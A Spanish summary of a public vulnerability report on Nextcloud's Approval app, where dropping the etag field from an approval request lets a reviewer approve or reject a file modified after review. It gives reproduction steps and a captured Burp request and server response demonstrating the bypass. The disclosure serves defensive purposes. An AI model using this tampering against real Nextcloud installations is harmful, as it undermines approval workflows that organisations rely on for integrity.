Reports
MEDIA[LÓGICA DE NEGOCIO]#3610332

Nextcloud Approval: quitar el parámetro etag permite aprobar un fichero modificado después de revisarlo

La app Approval solo comprobaba que el fichero no había cambiado desde la revisión si la petición incluía el etag. Omitiéndolo, se podía aprobar o rechazar una versión distinta a la revisada.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

La aplicación Approval de Nextcloud permite montar flujos de aprobación: un usuario sube un fichero y pide aprobación, y otro usuario lo revisa y lo aprueba o lo rechaza. Para que nadie apruebe un contenido distinto al que ha leído, la app usa el etag del fichero: si el fichero ha cambiado desde que el aprobador lo revisó, la aprobación no debería aceptarse.

El problema es que el backend solo aplicaba esa comprobación cuando el parámetro etag venía en la petición y no estaba vacío. Si el campo simplemente no se enviaba, la validación se saltaba y la aprobación (o el rechazo) se registraba igualmente. Basta con interceptar la petición que hace la interfaz y borrar el campo etag del cuerpo JSON.

Endpoint afectado:

PUT /ocs/v2.php/apps/approval/api/v1/approve/<id>

El fallo tiene asignado el CVE-2026-82982 y el aviso GHSA-7php-cxrr-v4m3. Hubo recompensa (importe no público). Reportado el 17 de marzo de 2026 y divulgado el 17 de septiembre de 2026.

Pasos de reproducción

Requisitos previos: un flujo de aprobación configurado en el que test1 puede solicitar aprobación y test2 puede aprobar, con acceso al fichero pendiente.

  1. Crear el flujo de aprobación.
  2. Iniciar sesión como test1 y subir un fichero, por ejemplo poc.md.
  3. Como test1, solicitar la aprobación de ese fichero.
  4. Iniciar sesión como test2 y revisar el contenido del fichero.
  5. Como test2, pulsar Aprobar e interceptar la petición con Burp.
  6. Volver a la sesión de test1 y modificar el fichero.
  7. En este punto, test2 no debería poder aprobar un contenido que acaba de editarse y que no ha revisado.
  8. En la petición interceptada de test2, eliminar el campo etag del cuerpo JSON y reenviarla:
PUT /ocs/v2.php/apps/approval/api/v1/approve/14831 HTTP/1.1
Host: 172.16.88.96:8081
Content-Length: 19
requesttoken: [REDACTADO]
X-Requested-With: XMLHttpRequest, XMLHttpRequest
Accept-Language: vi-VN,vi;q=0.9
Accept: application/json, text/plain, */*
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Origin: http://172.16.88.96:8081
Accept-Encoding: gzip, deflate, br
Cookie: oc_sessionPassphrase=[REDACTADO]; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; ocrzkzhsljc2=[REDACTADO]; nc_username=test2; nc_token=[REDACTADO]; nc_session_id=[REDACTADO]
Connection: keep-alive

{"message":"test2"}
  1. El servidor acepta la aprobación pese a que el fichero ha cambiado:
HTTP/1.1 200 OK
Date: Tue, 17 Mar 2026 08:30:21 GMT
Server: Apache/2.4.66 (Debian)
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Permitted-Cross-Domain-Policies: none
X-Robots-Tag: noindex, nofollow
Referrer-Policy: no-referrer
X-Powered-By: PHP/8.3.30
Content-Security-Policy: default-src 'none';base-uri 'none';manifest-src 'self';frame-ancestors 'none'
X-Request-Id: 8xMLCrwKUw0gFWKsJVTu
Cache-Control: no-cache, no-store, must-revalidate
Feature-Policy: autoplay 'none';camera 'none';fullscreen 'none';geolocation 'none';microphone 'none';payment 'none'
X-User-Id: test2
Content-Length: 74
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8

{"ocs":{"meta":{"status":"ok","statuscode":200,"message":"OK"},"data":[]}}

Impacto

La protección de "frescura" del contenido deja de servir, lo que rompe la integridad del proceso de aprobación:

  • Se puede aprobar una versión del fichero distinta de la que se revisó.
  • Un solicitante puede cambiar el fichero entre la revisión y la aprobación final.
  • Los procesos internos de visto bueno pierden su valor como garantía, algo especialmente delicado si se usan para documentos legales, financieros, de cumplimiento normativo o artefactos de publicación de software.

El impacto real depende de lo sensibles que sean los flujos de aprobación en cada instalación.

Remediación

Nextcloud corrigió el fallo y lo publicó en el aviso GHSA-7php-cxrr-v4m3. El reporte no describe el cambio concreto.